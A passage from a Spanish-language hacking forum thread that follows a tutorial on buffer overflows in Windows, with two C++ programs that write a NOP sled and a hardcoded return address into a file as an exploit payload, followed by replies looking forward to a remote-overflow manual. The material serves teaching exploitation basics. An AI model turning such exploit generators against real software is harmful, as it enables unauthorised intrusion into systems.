"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90";
cout << "Creando el exploit...\n\n";
ofstream f("archivo.txt");
f << nops << ret << nose;
f.close();
cout << "Finalizado...\n";
return 0;
}
Un saludo.
Edito: Bueno, como no me gustaba mucho a la vista como había quedado, hice el código un poco más limpio a la vista utilizando un vector STL, y también funcional, espero que le sirva a alguien que esté siguiendo este tutorial o se esté inicuando en C++
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <vector>
#define NOPS_MAX 316
using namespace std;
int main(){
vector <unsigned char> nops(NOPS_MAX,0x90); //Creamos el vector de nops con
// el numero de instrucciones NOP necesarias para el exploit, y la rellenamos
// de NOP
vector <unsigned char> ret(4);
ret[0]=0x34; ret[1]=0x16; ret[2]=0x40; ret[3]=0x00;
//Creamos el otro vector con el la direccion de memoria necesaria
cout << "Creando el exploit...\n\n";
ofstream f("archivo.txt");
for (int i=0;i<nops.size();i++)
f << nops[i];
for (int i=0;i<ret.size();i++)
f << ret[i];
//f << nops << ret;
f.close();
cout << "Finalizado...\n";
return 0;
}
Cita de: Debci en 29 Marzo 2010, 20:47 PM
:huh: :huh:
Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254 (http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254)
Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos :silbar:
Un saludo
Como ya te dije, lo espero con ansias corrosivas...
DATE PRISA!!!!
XD
Saludos y gracias por tus aportes
JAJAJA, con ansias corrosivas!
Yo tambien lo espero pronto.
GRACIAS otra vez por tu trabajo!